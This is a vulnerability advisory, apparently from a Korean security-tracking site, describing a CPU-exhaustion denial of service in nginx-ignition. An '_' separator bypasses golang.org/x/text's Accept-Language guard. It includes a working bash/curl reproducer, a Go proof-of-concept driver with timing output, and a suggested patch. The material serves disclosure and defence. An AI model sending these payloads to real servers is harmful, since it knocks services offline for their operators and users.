nginx ignition has ParseAcceptLanguage `_` separator bypass that enables ~75x CPU amplification via Accept-Language header in i18nMiddleware
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.
Affected versions
dillmann.com.br/nginx-ignition v2.40.0 and (per code inspection of main) earlier 2.x versions whose api/common/server/i18n.go middleware routes the Accept-Language header through language.ParseAcceptLanguage without imposing its own size or character filter. Verified on:
- the official
dillmann/nginx-ignition:latestDocker image at v2.40.0 (E2E below) mainat commitfaef4c99442b329cfa4ee8879bdba41c22866a18by readingapi/common/server/i18n.go(the middleware is unchanged)
Privilege required
Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated /api/health style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.
Vulnerable code
api/common/server/i18n.go (blob SHA faef4c99442b329cfa4ee8879bdba41c22866a18):
1func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc { 2 return func(ginCtx *gin.Context) { 3 lang := commands.DefaultLanguage() 4 5 langHeader := ginCtx.GetHeader("Accept-Language") 6 tags, _, err := language.ParseAcceptLanguage(langHeader) 7 if err == nil && len(tags) > 0 { 8 for _, tag := range tags { 9 if commands.Supports(tag) {10 lang = tag11 break12 }13 }14 }15 16 //nolint:staticcheck17 updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)18 ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)19 ginCtx.Set(i18n.ContextKey, lang)20 ginCtx.Next()21 }22}ginCtx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.
How Accept-Language reaches ParseAcceptLanguage
Every HTTP request that hits the nginx-ignition API server passes through i18nMiddleware (registered as a global gin middleware). The middleware sequence is:
- The request enters
i18nMiddleware. ginCtx.GetHeader("Accept-Language")returns the full attacker-supplied header value.language.ParseAcceptLanguage(langHeader)runs unfiltered.
No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and /api/health (which returns 404 but still completes the middleware chain).
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh dillmann/nginx-ignition:latest container:
1docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest 2sleep 5 3 4PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" 5echo "header size = ${#PAYLOAD} bytes" 6 7curl -sS -o /dev/null \ 8 -w 'http=%{http_code} t=%{time_total}\n' \ 9 -H "Accept-Language: ${PAYLOAD}" \10 http://127.0.0.1:18090/api/healthEach 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against dillmann/nginx-ignition:latest at v2.40.0)
A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
1// poc.go 2package main 3 4import ( 5 "fmt" 6 "io" 7 "net" 8 "net/http" 9 "strings"10 "time"11)12 13const targetURL = "http://127.0.0.1:18090/api/health"14 15func buildPayload(sep string, targetBytes int) string {16 const tok = "abcdefghi"17 var b strings.Builder18 b.Grow(targetBytes + 16)19 b.WriteString("en")20 for b.Len()+1+len(tok) <= targetBytes {21 b.WriteString(sep)22 b.WriteString(tok)23 }24 return b.String()25}26 27func send(label, header string) {28 client := &http.Client{29 Timeout: 60 * time.Second,30 Transport: &http.Transport{31 DisableKeepAlives: true,32 DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,33 },34 }35 req, _ := http.NewRequest("GET", targetURL, nil)36 if header != "" {37 req.Header.Set("Accept-Language", header)38 }39 t0 := time.Now()40 resp, err := client.Do(req)41 dt := time.Since(t0)42 if err != nil {43 fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)44 return45 }46 _, _ = io.Copy(io.Discard, resp.Body)47 resp.Body.Close()48 fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",49 label, len(header),50 strings.Count(header, "_"), strings.Count(header, "-"),51 resp.StatusCode, dt)52}53 54func main() {55 send("warm-up", "")56 send("baseline (no header)", "")57 send("baseline (1 short tag)", "en-US")58 send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))59 send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))60 send("attack repeat 2", buildPayload("_", 1<<20))61 send("attack repeat 3", buildPayload("_", 1<<20))62}Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official dillmann/nginx-ignition:latest image at v2.40.0):
1E2E: golang/x/text ParseAcceptLanguage '_' bypass through 2lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at 3api/common/server/i18n.go. 4 5Target: http://127.0.0.1:18090/api/health payload=1048576 B 6 7 warm-up header=0 B '_'=0 '-'=0 status=404 t=10.336041ms 8 9--- measurements (single request each) ---10 baseline (no header) header=0 B '_'=0 '-'=0 status=404 t=4.211583ms11 baseline (1 short tag) header=5 B '_'=0 '-'=1 status=404 t=3.276416ms12 guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=404 t=31.683792ms13 attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=404 t=2.429408875s14 attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=404 t=3.589948166s15 attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=404 t=2.415860875sInterpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 3 - 11 ms |
1 MiB - separators (CVE-2022-32149 guard fires) | 1 MiB | 32 ms |
1 MiB _ separators (guard bypassed) | 1 MiB | 2.4 - 3.6 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 32 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).
Impact
- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
- The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.
- Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.
Suggested fix
Apply the size / character-class filter inside the middleware before reaching language.ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:
1// api/common/server/i18n.go 2const maxAcceptLanguageSeparators = 32 // real browsers send < 10 3 4func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc { 5 return func(ginCtx *gin.Context) { 6 lang := commands.DefaultLanguage() 7 8 langHeader := ginCtx.GetHeader("Accept-Language") 9 if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {10 // Refuse to call into the BCP 47 parser with absurd input.11 langHeader = ""12 }13 tags, _, err := language.ParseAcceptLanguage(langHeader)14 if err == nil && len(tags) > 0 {15 for _, tag := range tags {16 if commands.Supports(tag) {17 lang = tag18 break19 }20 }21 }22 23 //nolint:staticcheck24 updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)25 ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)26 ginCtx.Set(i18n.ContextKey, lang)27 ginCtx.Next()28 }29}A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.
Credit
Reported by tonghuaroot.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…